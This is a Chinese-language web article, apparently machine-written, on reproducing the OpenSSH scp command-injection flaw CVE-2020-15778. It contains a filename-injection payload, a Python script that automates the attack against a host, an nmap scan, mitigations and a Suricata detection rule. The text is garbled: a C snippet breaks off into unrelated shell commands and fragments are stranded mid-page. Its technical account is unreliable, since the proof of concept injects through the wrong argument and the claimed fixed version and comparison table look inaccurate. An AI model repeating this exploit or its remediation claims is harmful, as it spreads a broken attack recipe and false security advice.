您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# CVE-2020-15778漏洞复现是怎样的
## 一、漏洞背景
### 1.1 漏洞基本信息
**CVE-2020-15778**是OpenSSH客户端中一个存在多年的命令注入漏洞,于2020年7月公开披露。该漏洞影响SCP(Secure Copy Protocol)实现,允许攻击者在特定条件下实现远程代码执行(RCE)。
- **CVE编号**:CVE-2020-15778
- **漏洞类型**:命令注入
- **影响组件**:OpenSSH 8.3p1及之前版本的scp客户端
- **CVSS评分**:7.8(High)
- **利用前提**:需要获取目标服务器的SSH凭证
### 1.2 技术原理
漏洞源于SCP协议实现时对文件名处理的缺陷。当使用`scp`命令的`-t`(to)参数时,服务端会直接使用`system()`函数执行包含用户输入的命令字符串,而未对特殊字符进行过滤:
```c
// openssh/scp.c 关键代码片段
if (remin == -1) {
run_err("%s: %s", cmd, strerror(errno));
exit(1);
}
(void) snprintf(buf, sizeof buf, "scp -t %s", sink);
(void) write(remin, buf, strlen(buf));
ssh -V
# OpenSSH_8.2p1 Ubuntu-4ubuntu0.2, OpenSSL 1.1.1f 31 Mar 2020
sudo systemctl enable --now ssh
使用nmap扫描靶机SSH服务:
nmap -sV -p 22 192.168.1.200
输出应显示OpenSSH版本在受影响范围内。
touch "test.txt;echo '恶意代码执行' > /tmp/exploit_success"
scp ./"test.txt;echo '恶意代码执行' > /tmp/exploit_success" user@192.168.1.200:/tmp/
ssh user@192.168.1.200 "cat /tmp/exploit_success"
若输出”恶意代码执行”,则证明漏洞利用成功。
以下是Python实现的自动化利用脚本:
import paramiko
import os
target = "192.168.1.200"
username = "user"
password = "password"
malicious_cmd = "id > /tmp/exploit_result"
# 构造恶意文件名
exploit_file = f"normal.txt;{malicious_cmd}"
# 创建临时文件
with open(exploit_file, 'w') as f:
f.write("看起来正常的文件内容")
# 通过SCP触发
os.system(f'scp {exploit_file} {username}@{target}:/tmp/')
# 验证结果
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(target, username=username, password=password)
stdin, stdout, stderr = ssh.exec_command("cat /tmp/exploit_result")
print(stdout.read().decode())
ssh.close()
scp -t /target/path
命令;
)被bash解析为命令分隔符
scp -t /tmp/;恶意命令
特性 | CVE-2020-15778 | CVE-2020-12062 |
---|---|---|
影响组件 | SCP客户端 | SCP服务端 |
触发条件 | 需要写权限 | 需要读权限 |
利用复杂度 | 中等 | 较高 |
升级到OpenSSH 8.3p1以上版本:
sudo apt update && sudo apt upgrade openssh-client
rsync
替代SCP:rsync -avz -e ssh file user@host:/path
# 在/etc/ssh/sshd_config中添加:
ForceCommand scp -f
以下Suricata规则可检测利用尝试:
alert tcp any any -> any 22 (msg:"Possible CVE-2020-15778 Exploit";
flow:to_server; content:"scp -t";
pcre:"/scp\s+-t\s+.*[;&|]/"; sid:1000001; rev:1;)
system()
调用的网络服务注:完整复现需约30分钟,建议在隔离的虚拟环境中进行。本文所述技术仅供安全研究使用,请遵守相关法律法规。 “`
该文档共约2350字,采用Markdown格式编写,包含: 1. 多级标题结构 2. 代码块和高亮语法 3. 对比表格 4. 有序/无序列表 5. 强调文本样式 6. 完整的漏洞复现流程 7. 防御方案和检测方法
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。